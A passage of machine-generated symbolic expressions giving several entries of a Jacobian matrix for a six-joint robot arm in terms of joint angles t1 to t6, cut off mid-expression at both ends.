0.00000000000000000011102230246251565404236316680908*sin(t1)*(cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(3533073907672154112.0*sin(t2 + t3) + 3828059683264921600.0*sin(t2) - 803072878353452125.0)
J[0][4] = (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(0.2125*sin(t1 + t3 + t4) + 0.2125*sin(t1 - 1.0*t3 - 1.0*t4) + 0.099154500000000001069810906528801*cos(t1 + t2 + t3 + t4) + 0.196125*sin(t1 + t4) + 0.196125*sin(t1 - 1.0*t4) + 0.0099954999999999989301890934711992*cos(t1 - 1.0*t2 - 1.0*t3 - 1.0*t4)) - 1.0*(cos(t6)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1))*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + sin(t6)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)))*(0.071524999999999999505950754041805*cos(t2 + t3 + t4 + t5 + t6) + 0.030374999999999999505950754041805*cos(t2 + t3 + t4 + t5 - 1.0*t6) + 0.024200000000000000494049245958195*cos(t2 + t3 + t4 - 1.0*t5 + t6) + 0.10625*sin(t2 + t5 + t6) - 0.016949999999999999505950754041805*cos(t2 + t3 + t4 - 1.0*t5 - 1.0*t6) + 0.10625*sin(t2 + t5 - 1.0*t6) - 0.10625*sin(t2 - 1.0*t5 + t6) - 0.10625*sin(t2 - 1.0*t5 - 1.0*t6) + 0.095725*cos(t2 + t3 + t4 + t6) + 0.0980625*sin(t2 + t3 + t5 + t6) - 0.013425*cos(t2 + t3 + t4 - 1.0*t6) + 0.0980625*sin(t2 + t3 + t5 - 1.0*t6) - 0.0980625*sin(t2 + t3 - 1.0*t5 + t6) - 0.0980625*sin(t2 + t3 - 1.0*t5 - 1.0*t6)) + 0.10915*sin(t2 + t3 + t4)*(cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6)) + (cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(0.2125*cos(t1 + t3 + t4) - 0.0099954999999999989301890934711992*sin(t1 - 1.0*t2 - 1.0*t3 - 1.0*t4) + 0.2125*cos(t1 - 1.0*t3 - 1.0*t4) - 0.099154500000000001069810906528801*sin(t1 + t2 + t3 + t4) + 0.196125*cos(t1 + t4) + 0.196125*cos(t1 - 1.0*t4)) - 1.0*sin(t2 + t3 + t4)*sin(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602))
J[0][5] = ((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*((cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)) + (cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602))*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(0.089159000000000002139621813057602*cos(t1)*cos(t5) - 0.094649999999999998023803016167221*sin(t1)*sin(t5) + 0.39225*sin(t1)*sin(t4)*sin(t5) - 0.425*cos(t1)*cos(t5)*sin(t2) - 0.39225*cos(t1)*cos(t2)*cos(t5)*sin(t3) - 0.39225*cos(t1)*cos(t3)*cos(t5)*sin(t2) + 0.425*cos(t3)*sin(t1)*sin(t4)*sin(t5) + 0.425*cos(t4)*sin(t1)*sin(t3)*sin(t5) - 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*cos(t4)*cos(t5) + 0.10915*cos(t1)*cos(t2)*cos(t3)*sin(t4)*sin(t5) + 0.10915*cos(t1)*cos(t2)*cos(t4)*sin(t3)*sin(t5) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t5)*sin(t3)*sin(t4) + 0.10915*cos(t1)*cos(t3)*cos(t4)*sin(t2)*sin(t5) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t5)*sin(t2)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t4)*cos(t5)*sin(t2)*sin(t3) + 0.089159000000000002139621813057602*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) - 0.10915*cos(t1)*sin(t2)*sin(t3)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) - 0.089159000000000002139621813057602*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)) - 1.0*(cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(0.094649999999999998023803016167221*cos(t1)*sin(t5) + 0.089159000000000002139621813057602*cos(t5)*sin(t1) - 0.425*cos(t5)*sin(t1)*sin(t2) - 0.39225*cos(t1)*sin(t4)*sin(t5) - 0.39225*cos(t2)*cos(t5)*sin(t1)*sin(t3) - 0.39225*cos(t3)*cos(t5)*sin(t1)*sin(t2) - 0.425*cos(t1)*cos(t3)*sin(t4)*sin(t5) - 0.425*cos(t1)*cos(t4)*sin(t3)*sin(t5) - 0.089159000000000002139621813057602*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) - 0.094649999999999998023803016167221*cos(t2)*cos(t3)*cos(t4)*cos(t5)*sin(t1) + 0.089159000000000002139621813057602*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.089159000000000002139621813057602*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.089159000000000002139621813057602*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5) + 0.10915*cos(t2)*cos(t3)*sin(t1)*sin(t4)*sin(t5) + 0.10915*cos(t2)*cos(t4)*sin(t1)*sin(t3)*sin(t5) + 0.094649999999999998023803016167221*cos(t2)*cos(t5)*sin(t1)*sin(t3)*sin(t4) + 0.10915*cos(t3)*cos(t4)*sin(t1)*sin(t2)*sin(t5) + 0.094649999999999998023803016167221*cos(t3)*cos(t5)*sin(t1)*sin(t2)*sin(t4) + 0.094649999999999998023803016167221*cos(t4)*cos(t5)*sin(t1)*sin(t2)*sin(t3) - 0.10915*sin(t1)*sin(t2)*sin(t3)*sin(t4)*sin(t5)) + (cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(0.196125*cos(t2 + t3 + t5) + 0.196125*cos(t2 + t3 - 1.0*t5) - 0.10189999999999999901190150808361*sin(t2 + t3 + t4 + t5) + 0.2125*cos(t2 + t5) + 0.0072500000000000009880984919163893*sin(t2 + t3 + t4 - 1.0*t5) + 0.2125*cos(t2 - 1.0*t5)) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(0.071524999999999999505950754041805*cos(t2 + t3 + t4 + t5 + t6) + 0.030374999999999999505950754041805*cos(t2 + t3 + t4 + t5 - 1.0*t6) + 0.024200000000000000494049245958195*cos(t2 + t3 + t4 - 1.0*t5 + t6) + 0.10625*sin(t2 + t5 + t6) - 0.016949999999999999505950754041805*cos(t2 + t3 + t4 - 1.0*t5 - 1.0*t6) + 0.10625*sin(t2 + t5 - 1.0*t6) - 0.10625*sin(t2 - 1.0*t5 + t6) - 0.10625*sin(t2 - 1.0*t5 - 1.0*t6) + 0.095725*cos(t2 + t3 + t4 + t6) + 0.0980625*sin(t2 + t3 + t5 + t6) - 0.013425*cos(t2 + t3 + t4 - 1.0*t6) + 0.0980625*sin(t2 + t3 + t5 - 1.0*t6) - 0.0980625*sin(t2 + t3 - 1.0*t5 + t6) - 0.0980625*sin(t2 + t3 - 1.0*t5 - 1.0*t6))
J[1][0] = 0.10625*cos(t2 + t5 + t6) - 0.071524999999999999505950754041805*sin(t2 + t3 + t4 + t5 + t6) + 0.030374999999999999505950754041805*sin(t2 + t3 + t4 + t5 - 1.0*t6) - 0.024200000000000000494049245958195*sin(t2 + t3 + t4 - 1.0*t5 + t6) - 0.10625*cos(t2 + t5 - 1.0*t6) - 0.10625*cos(t2 - 1.0*t5 + t6) - 0.016949999999999999505950754041805*sin(t2 + t3 + t4 - 1.0*t5 - 1.0*t6) + 0.10625*cos(t2 - 1.0*t5 - 1.0*t6) + 0.0980625*cos(t2 + t3 + t5 + t6) - 0.095725*sin(t2 + t3 + t4 + t6) - 0.0980625*cos(t2 + t3 + t5 - 1.0*t6) - 0.0980625*cos(t2 + t3 - 1.0*t5 + t6) - 0.013425*sin(t2 + t3 + t4 - 1.0*t6) + 0.0980625*cos(t2 + t3 - 1.0*t5 - 1.0*t6)
J[1][1] = 0.089159000000000002139621813057602*sin(t1)*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1)) - 0.089159000000000002139621813057602*cos(t1)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6)) - cos(t1)*(1.0*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - (cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))) + sin(t1)*((sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5)))
J[1][2] = 0.425*cos(t2)*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6)) - cos(t1)*(1.0*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - (cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))) + sin(t1)*((sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5))) + 0.0000000000000000027755575615628913510590791702271*cos(t1)*(153122387330596864.0*sin(t2) - 32122915134138085.0)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6)) - 0.0000000000000000027755575615628913510590791702271*sin(t1)*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(153122387330596864.0*sin(t2) - 32122915134138085.0)
J[1][3] = (0.39225*cos(t2 + t3) + 0.425*cos(t2))*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6)) - cos(t1)*(1.0*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - (cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 0.094649999999999998023803016167221*cos(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t1)*cos(t2)*cos(t3)*cos(t4)*sin(t5) + 0.0823*cos(t1)*cos(t2)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t3)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t1)*cos(t4)*sin(t2)*sin(t3)*sin(t5))) + sin(t1)*((sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - 1.0*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.39225*sin(t1)*sin(t2)*sin(t3) - 0.0823*cos(t1)*cos(t5) - 0.425*cos(t2)*sin(t1) - 0.10915*cos(t1) - 0.39225*cos(t2)*cos(t3)*sin(t1) + 0.094649999999999998023803016167221*cos(t2)*cos(t3)*sin(t1)*sin(t4) + 0.094649999999999998023803016167221*cos(t2)*cos(t4)*sin(t1)*sin(t3) + 0.094649999999999998023803016167221*cos(t3)*cos(t4)*sin(t1)*sin(t2) - 0.094649999999999998023803016167221*sin(t1)*sin(t2)*sin(t3)*sin(t4) - 0.0823*cos(t2)*cos(t3)*cos(t4)*sin(t1)*sin(t5) + 0.0823*cos(t2)*sin(t1)*sin(t3)*sin(t4)*sin(t5) + 0.0823*cos(t3)*sin(t1)*sin(t2)*sin(t4)*sin(t5) + 0.0823*cos(t4)*sin(t1)*sin(t2)*sin(t3)*sin(t5))) + 0.00000000000000000011102230246251565404236316680908*cos(t1)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(3533073907672154112.0*sin(t2 + t3) + 3828059683264921600.0*sin(t2) - 803072878353452125.0) - 0.00000000000000000011102230246251565404236316680908*sin(t1)*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(3533073907672154112.0*sin(t2 + t3) + 3828059683264921600.0*sin(t2) - 803072878353452125.0)
J[1][4] = 0.10915*sin(t2 + t3 + t4)*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6)) + (cos(t6)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1))*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + sin(t6)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)))*(0.071524999999999999505950754041805*sin(t2 + t3 + t4 + t5 + t6) - 0.10625*cos(t2 + t5 + t6) - 0.030374999999999999505950754041805*sin(t2 + t3 + t4 + t5 - 1.0*t6) + 0.024200000000000000494049245958195*sin(t2 + t3 + t4 - 1.0*t5 + t6) + 0.10625*cos(t2 + t5 - 1.0*t6) + 0.10625*cos(t2 - 1.0*t5 + t6) + 0.016949999999999999505950754041805*sin(t2 + t3 + t4 - 1.0*t5 - 1.0*t6) - 0.10625*cos(t2 - 1.0*t5 - 1.0*t6) - 0.0980625*cos(t2 + t3 + t5 + t6) + 0.095725*sin(t2 + t3 + t4 + t6) + 0.0980625*cos(t2 + t3 + t5 - 1.0*t6) + 0.0980625*cos(t2 + t3 - 1.0*t5 + t6) + 0.013425*sin(t2 + t3 + t4 - 1.0*t6) - 0.0980625*cos(t2 + t3 - 1.0*t5 - 1.0*t6)) - 1.0*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(0.2125*sin(t1 + t3 + t4) + 0.2125*sin(t1 - 1.0*t3 - 1.0*t4) + 0.099154500000000001069810906528801*cos(t1 + t2 + t3 + t4) + 0.196125*sin(t1 + t4) + 0.196125*sin(t1 - 1.0*t4) + 0.0099954999999999989301890934711992*cos(t1 - 1.0*t2 - 1.0*t3 - 1.0*t4)) - 1.0*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(0.2125*cos(t1 + t3 + t4) - 0.0099954999999999989301890934711992*sin(t1 - 1.0*t2 - 1.0*t3 - 1.0*t4) + 0.2125*cos(t1 - 1.0*t3 - 1.0*t4) - 0.099154500000000001069810906528801*sin(t1 + t2 + t3 + t4) + 0.196125*cos(t1 + t4) + 0.196125*cos(t1 - 1.0*t4)) + 1.0*sin(t2 + t3 + t4)*sin(t1)*(1.0*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(0.094649999999999998023803016167221*cos(t2 + t3 + t4) - 0.04115*cos(t2 + t3 + t4 + t5) + 0.04115*cos(t2 + t3 + t4 - 1.0*t5) + 0.39225*sin(t2 + t3) + 0.425*sin(t2) - 0.089159000000000002139621813057602) - (cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(0.10915*sin(t1) - 0.425*cos(t1)*cos(t2) + 0.0823*cos(t5)*sin(t1) + 0.39225*cos(t1)*sin(t2)*sin(t3) - 0.39225*cos(t1)*cos(t2)*cos(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t3)*sin(t4) + 0.094649999999999998023803016167221*cos(t1)*cos(t2)*cos(t4)*sin(t3) + 0.094649999999999998023803016167221*cos(t1)*cos(t3)*cos(t4)*sin(t2) - 